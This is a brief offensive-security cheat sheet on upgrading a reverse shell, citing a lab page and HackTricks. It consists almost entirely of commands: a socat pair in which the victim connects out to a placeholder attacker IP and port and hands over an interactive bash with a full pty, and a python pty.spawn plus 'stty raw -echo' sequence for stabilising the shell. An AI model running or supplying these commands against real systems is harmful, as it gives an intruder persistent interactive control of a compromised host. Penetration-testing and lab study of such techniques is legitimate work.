Using SOCAT to upgrade reverse shell
To upgrade your reverse shell you can use various methods:
SOCAT
# Attacker: socat TCP-L:<port> - # Victim: socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,saneReferences: https://www.101labs.net/comptia-security/lab-68-getting-a-reverse-shell-using-socat/
Python
python -c 'import pty; pty.spawn("/bin/bash")' # `ctrl+z` then stty raw -echo # then fg # then `enter` twiceReference: https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys



